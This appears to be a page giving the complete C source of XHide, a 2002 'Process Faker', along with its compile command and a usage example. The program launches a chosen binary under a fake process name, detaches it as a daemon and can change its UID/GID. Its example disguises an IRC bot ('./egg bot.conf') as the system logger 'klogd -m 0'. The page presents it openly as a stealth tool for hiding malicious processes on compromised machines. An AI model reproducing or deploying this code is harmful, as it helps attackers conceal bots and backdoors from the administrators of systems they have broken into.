Fichier xhide.c
gcc xhide.c -o xhide
#include <stdio.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> #include <string.h> #include <fcntl.h> #include <pwd.h> #include <grp.h> void usage(char *progname); int changeown (char *str) { char user[256], *group; struct passwd *pwd; struct group *grp; uid_t uid; gid_t gid; memset(user, '\0', sizeof(user)); strncpy(user, str, sizeof(user)); for (group = user; *group; group++) if (*group == ':') { *group = '\0'; group++; break; } if (pwd = getpwnam(user)) { uid = pwd->pw_uid; gid = pwd->pw_gid; } else uid = (uid_t) atoi(user); if (*group) if (grp = getgrnam(group)) gid = grp->gr_gid; else gid = (gid_t) atoi(group); if (setgid(gid)) { perror("Error: Can't set GID"); return 0; } if (setuid(uid)) { perror("Error: Can't set UID"); return 0; } return 1; } char *fullpath(char *cmd) { char *p, *q, *filename; struct stat st; if (*cmd == '/') return cmd; filename = (char *) malloc(256); if (*cmd == '.') if (getcwd(filename, 255) != NULL) { strcat(filename, "/"); strcat(filename, cmd); return filename; } else return NULL; for (p = q = (char *) getenv("PATH"); q != NULL; p = ++q) { if (q = (char *) strchr(q, ':')) *q = (char) '\0'; snprintf(filename, 256, "%s/%s", p, cmd); if (stat(filename, &st) != -1 && S_ISREG(st.st_mode) && (st.st_mode&S_IXUSR || st.st_mode&S_IXGRP || st.st_mode&S_IXOTH)) return filename; if (q == NULL) break; } free(filename); return NULL; } void usage(char *progname) { fprintf(stderr, "XHide - Process Faker, by Schizoprenic " "Xnuxer Research (c) 2002\n\nOptions:\n" "-s string\tFake name process\n" "-d\t\tRun aplication as daemon/system (optional)\n" "-u uid[:gid]\tChange UID/GID, use another user (optional)\n" "-p filename\tSave PID to filename (optional)\n\n" "Example: %s -s \"klogd -m 0\" -d -p test.pid ./egg bot.conf\n\n",progname); exit(1); } int main(int argc,char **argv) { char c; char fake[256]; char *progname, *fakename; char *pidfile, *fp; char *execst; FILE *f; int runsys=0, null; int j,i,n,pidnum; char **newargv; progname = argv[0]; if(argc<2) usage(progname); for (i = 1; i < argc; i++) { if (argv[i][0] == '-') switch (c = argv[i][1]) { case 's': fakename = argv[++i]; break; case 'u': changeown(argv[++i]); break; case 'p': pidfile = argv[++i]; break; case 'd': runsys = 1; break; default: usage(progname); break; } else break; } if (!(n = argc - i) || fakename == NULL) usage(progname); newargv = (char **) malloc(n * sizeof(char **) + 1); for (j = 0; j < n; i++,j++) newargv[j] = argv[i]; newargv[j] = NULL; if ((fp = fullpath(newargv[0])) == NULL) { perror("Full path seek"); exit(1); } execst = fp; if (n > 1) { memset(fake, ' ', sizeof(fake) - 1); fake[sizeof(fake) - 1] = '\0'; strncpy(fake, fakename, strlen(fakename)); newargv[0] = fake; } else newargv[0] = fakename; if (runsys) { if ((null = open("/dev/null", O_RDWR)) == -1) { perror("Error: /dev/null"); return -1; } switch (fork()) { case -1: perror("Error: FORK-1"); return -1; case 0: setsid(); switch (fork()) { case -1: perror("Error: FORK-2"); return -1; case 0: umask(0); close(0); close(1); close(2); dup2(null, 0); dup2(null, 1); dup2(null, 2); break; default: return 0; } break; default: return 0; } } waitpid(-1, (int *)0, 0); pidnum = getpid(); if (pidfile != NULL && (f = fopen(pidfile, "w")) != NULL) { fprintf(f, "%d\n", pidnum); fclose(f); } fprintf(stderr,"==> Fakename: %s PidNum: %d\n",fakename,pidnum); execv(execst, newargv); perror("Couldn't execute"); return -1; }
Options:
./xhide -s "klogd -m 0" -d -p test.pid ./egg bot.conf